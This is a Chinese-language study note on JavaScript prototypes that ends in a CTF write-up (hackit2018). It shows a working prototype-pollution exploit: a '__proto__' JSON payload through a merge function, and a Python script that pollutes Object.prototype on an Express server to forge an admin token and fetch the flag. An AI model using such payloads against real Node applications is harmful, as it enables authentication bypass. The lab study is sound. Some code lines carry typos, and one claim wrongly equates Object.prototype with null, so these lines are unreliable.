1. 原型对象(继承)
上面代码中
cat1和cat2是Animal的实例对象, color是cat1和cat2的原型对象
原型对象可以让所有实例对象共享
2.原型链
原型对象也是对象,它也有自己的原型。这就形成了原型链
原型链的尽头是null (Object.prototype === null)
Object.getPrototypeof(f) //获取原型对象,返回f的原型对象
Object.setPrototypeof(a,b) //设置原型对象,将b设为a的原型对象,b是原型对象
Object.creat() //接受一个对象作为参数,以它为原型对象,返回一个实例对象
例:
var A = {
print:function(){}
}
var B = Object.create(A)
Object.getPrototypeof(B) === A //true
B.print === A.print //true
var C = Object.create(null)
Object.getPrototypelf(C) === null //true
__proto__属性设置原型对象
var x = {}
var y = {}
x.__proto__ = y
Object.getPrototypeof(x) === y //true
3. constructor属性
prototype对象有一个constructor属性,默认指向所在的构造函数
function Demo(){
}
var x = new Demo()
x.constructor === Demo //true
Demo.prototype.constructor === Demo //true
var y = new x.constructor()
y instanceof Demo //true
当原型对象修改后
Demo.prototype = {
metho : function(){}
}
Demo.prototype.constructor === Demo //false
Demo.prototype.constructor === Object //true
Demo的新原型为普通对象,普通对象的constructor指向Object构造函数
所以修改原型时,一定要修改constructor属性指向
//较好方法
Demo.prototype = {
constructor : Demo ,
method1 : function(){}
}
//最好方法,不改变指向
Demo.prototype.method1 = function(){}
4.原型链三属性之间关系
1、一个对象的__proto__属性指向这个对象所在类的prototype属性
2、每一个类有一个prototype属性,指向其原型对象
3、原型对象的constructor属性指向其所在的构造函数
4、构造函数的constructor属性指向本身
function A(){
//构造函数
}
var a = new A()
a.__ proto__ === A.prototype //true
A.prototype.constructor === A //true
var b = {}
b是一个Object
b.__proto__ === Object.prototype
5.原型链污染
如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染。
(1)merge函数
function merge(target,source){
for (let key in source){
if(key in target && key in target){
merge(target[key],source[key])
}else{
target[key] = source[key]
}
}
}
merge函数的目的是将source对象中的属性合并到target对象中。如果source对象和target对象具有
相同的键(属性名),那么merge函数将递归地将嵌套对象的属性合并。否则,如果source对象具
有target对象中不存在的键,merge函数将直接将该键值对添加到target对象中.
(2)通过修改__proto__属性污染原型链
var a ={}
var b= {"__proto__":{num:2}} //不能通过这种方式修改a.__proto__
var c={}
consle.info(c.num)
此时Object类没有被修改,故而原型类为Object的c对象并没有num这个属性。
因为b中的__proto__已经被解析成原型了
所以必须用JSON.parse
var b= JSON.parse('{"__proto__":{num:2}}')
merge(a,b)
var c={}
c.num === 2 //true
原型链已经污染,声明一个空对象c后可以直接拿到num属性
6.实例
hackit2018
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并没有admintoken
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
解析:
if(user.admintoken && req.query.querytoken && md5(user.admintoken) ===req.query.querytoken)
获取到flag的条件是传入的querytoken和user.admintoken的md5值等,并且都要存在。
user没有admintoken这个属性,是一个空对象,但存在给另一个空对象matrix赋值的代码
matrix[client.row][client.col] = client.data;
他们的原型对象都是Objec,其中row,col,data都是post传入的,是可控的,所以可以用原型链污染攻击方式让user拿到admintoken
使 row=__proto__ , col = admintoken ,再让url传入querytoken的值等于data的md5值
import requests
import json
url = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=de9b9ed78d7e2e1dceeffee780e2f919"
headers = {"Content-type": "application/json"}
data = {"row": "__proto__", "col": "admintoken", "data": "test"}
res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps与json.parse是相同的
res2 = requests.get(url1)
print(res2.text)
运行结果: